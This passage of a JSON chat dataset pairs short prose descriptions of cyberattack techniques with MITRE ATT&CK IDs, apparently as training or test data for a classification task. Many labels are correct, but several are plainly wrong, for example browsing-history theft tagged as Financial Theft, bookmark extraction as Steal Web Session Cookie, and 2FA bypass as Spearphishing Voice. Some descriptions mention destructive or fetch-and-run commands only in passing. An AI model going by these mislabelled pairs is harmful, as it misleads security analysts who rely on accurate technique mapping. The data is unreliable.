                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised credentials to create a new service account in the target's GCP project."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a remote exploit, the threat actor forces the device into ROMMON mode and installs a malicious ROMMONkit that executes on every reboot."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker created a malicious Discord webhook and sent stolen credential files to it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During its initialization, the malware reads a base64‑encoded payload from its resources and uses reflective code loading to run it."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the Google Cloud Logging sink to redirect logs to a non-existent destination, causing logs to be lost."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan leverages the WinAPI BitBlt function to record screen images and exfiltrate them via HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a scheduled task that runs a PowerShell command to create a new local user on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware compresses its executable with UPX to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the Linux bash shell to execute a curl command that fetches and runs a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the launchctl load command to activate a custom .plist that starts a backdoor on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the stored cryptographic keys in a keystore with keys they control."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group stages exfiltrated data into a malicious OneDrive sharing link."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document triggered a batch file that ran 'format C:' to wipe the system drive."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email deployed a script whose core malicious code was stripped of metadata and signatures to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script writes malicious entries into /Library/Preferences/com.apple.SoftwareUpdate.plist to schedule automatic downloads of additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the system's GPS hardware via the Android LocationManager to capture the device's coordinates."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script captures mouse movements and click coordinates to infer user input on a targeted web application."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised content delivery network (CDN) is used to inject malicious JavaScript into a social media site, stealing authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a remote procedure call, the adversary triggered DCSync to retrieve the domain's password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious email includes a personalized greeting and a link to a malicious SharePoint site that exploits a known browser vulnerability to execute code."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears forensic artifacts by recursively deleting all files in the %APPDATA% directory."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a web shell on an Apache server after exploiting a CVE in the HTTP module."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor’s tool performs in-memory execution by reflecting the code sections of a payload into a running process."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited default service accounts on the Windows Server that were still configured with the original passwords from the installation."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits misconfigured DNS servers to retrieve full zone data, revealing internal and external network topology."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed binary, the adversary injects malicious arguments that replace the expected ones, effectively spoofing the process command line."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the installation of a fake Office Add-in, malicious code is embedded that runs on startup via the Office Test procedure, leading to credential theft."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts credentials stored in plaintext within a Windows registry key and uses them to access privileged services."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the adversary runs a git bundle command to create a portable archive of the repository for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement was achieved by leveraging the default Windows admin shares via the Windows Remote Management service."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs regasm.exe to register a backdoored assembly, which then runs with elevated privileges as part of the system binary proxy technique."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a recursive directory scan of user profiles, gathering all *.docx, *.xlsx, and *.pdf files for later transmission."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool pulls the victim’s browsing history and saves it locally."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adware examines the system for active user sessions, looking for logged‑in users and open desktop windows before launching its malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploited a privilege escalation flaw in Linux kernel version 5.10 to gain root access and install additional ransomware modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a compromised port monitor to gain autostart privileges, executing code each time the OS loads the print spooler."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script registers a COM class with a GUID matching a legitimate Windows component, then writes a payload DLL path into the registry, achieving code execution when the COM object is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to include a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers spawn a rogue process and then change its parent ID to that of explorer.exe, making the process tree appear normal and disguising the malicious process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the network's existing trust model through NTLM hashes, an attacker can conduct pass-the-hash attacks to move laterally without needing cleartext passwords."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider at a contracted maintenance firm uses their legitimate access to install a backdoor on the client’s production servers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script verifies the elapsed time since the last reboot and stalls its execution until a threshold of days is met, thereby bypassing short-lived virtual analysis platforms."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal collects security conference speaker bios to identify potential internal contacts."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renamed its malicious executable to \"explorer.exe\" to blend in with standard OS processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to create a Run key under HKLM for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable TFTP boot setup to deliver a backdoored firmware image at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Azure Instance Metadata Service to retrieve access tokens and subscription keys."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a dropper that injects code into explorer.exe, allowing the attacker to log every button press and text entry within the GUI."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert agent extracts the list of bookmarked URLs from the user's Chrome profile."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulates DNS query responses to redirect users to malicious sites, altering the transmitted data payload."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign employed social engineering calls, convincing victims to reveal their Facebook passwords over the phone."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates an encrypted channel by performing a Diffie‑Hellman key exchange and then encrypting subsequent communications with the derived asymmetric key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker alters the HTML of a downloadable PDF viewer page to include a malicious script that steals data."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts its network traffic with the attacker’s RSA public key, ensuring only the ransom note can be decrypted by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a custom bootloader to the EFI system partition, ensuring the malicious code runs before Windows initializes."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group scrapes WhatsApp group chats for usernames and passwords that users have shared casually."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a shortcut (.lnk) file to the All Users Startup folder that launches a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a compromised Azure Storage Account key to download backup snapshots containing customer data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the built‑in \"root\" account on a newly deployed Linux system without changing the password."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages raw TCP SYN packets with payload data to issue commands to compromised hosts, operating at the network layer instead of HTTP or HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue browser extension silently captures keystrokes and sends them to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised credentials to launch a new EC2 instance in AWS, provisioning a virtual machine to host malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoded, asymmetrically encrypted data chunks are hidden inside legitimate video streaming requests (RTMP) to move files out of the network unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bypass two-factor authentication mechanisms using social engineering tactics or session hijacking"
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Google Cloud SDK commands to delete Compute Engine instances, causing service disruption."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor created a fake Microsoft Office document named \"Invoice_Q4_2023.docx\" that actually contained a macro used to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To evade virtualization, the payload performs a check for recent user input events like keystrokes and mouse clicks before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software corrupts the UEFI firmware image on the device, enabling persistent low‑level access."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves running a harmful DLL with MSBuild, taking advantage of a trusted developer utilities proxy."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the victim’s email client configuration, creating a rule that forwards all inbound messages to an attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen hosting provider account, the attacker removed the legitimate website files and uploaded defacement pages, making the change publicly accessible."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the AppCert DLL registration process to load a payload stealthily during the normal operation of a signed executable."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an unquoted executable path in a Windows service, the malicious actor places a malicious 'svchost.exe' in C:\\Program Files (x86)\\Common Files, causing the service to launch the malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Python script that utilizes the pyad library to list all trusted domain entries in AD."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the Control Panel's 'control.exe' to run a fileless malware chain via system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
